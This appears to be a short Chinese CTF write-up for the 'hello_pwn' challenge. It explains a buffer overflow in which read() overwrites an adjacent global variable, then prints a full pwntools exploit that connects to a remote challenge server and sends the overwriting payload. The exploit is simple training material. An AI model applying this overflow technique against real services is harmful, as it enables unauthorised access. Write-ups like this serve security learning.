0x00 file & checksec
(打码打码,看不到看不到)
0x01 ida
查看
-
read
可以读入0x10
字节
- 0x601068和0x60106C相差不足0x10字节,可以溢出覆盖
- 查看sub_400686()函数可以拿到flag
- 所以思路就是read函数处溢出覆盖0x60106C处为0x6E756161
0x02 完整exp
from pwn import *
local=0
pc='./hello_pwn'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
gdb.attach(p,'c')
else:
remote_addr=['111.198.29.45', 54891]
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
if __name__ == '__main__':
rl()
rl()
payload = 'fake' + p64(0x6e756161)
sl(payload)
p.interactive()
0x03 结果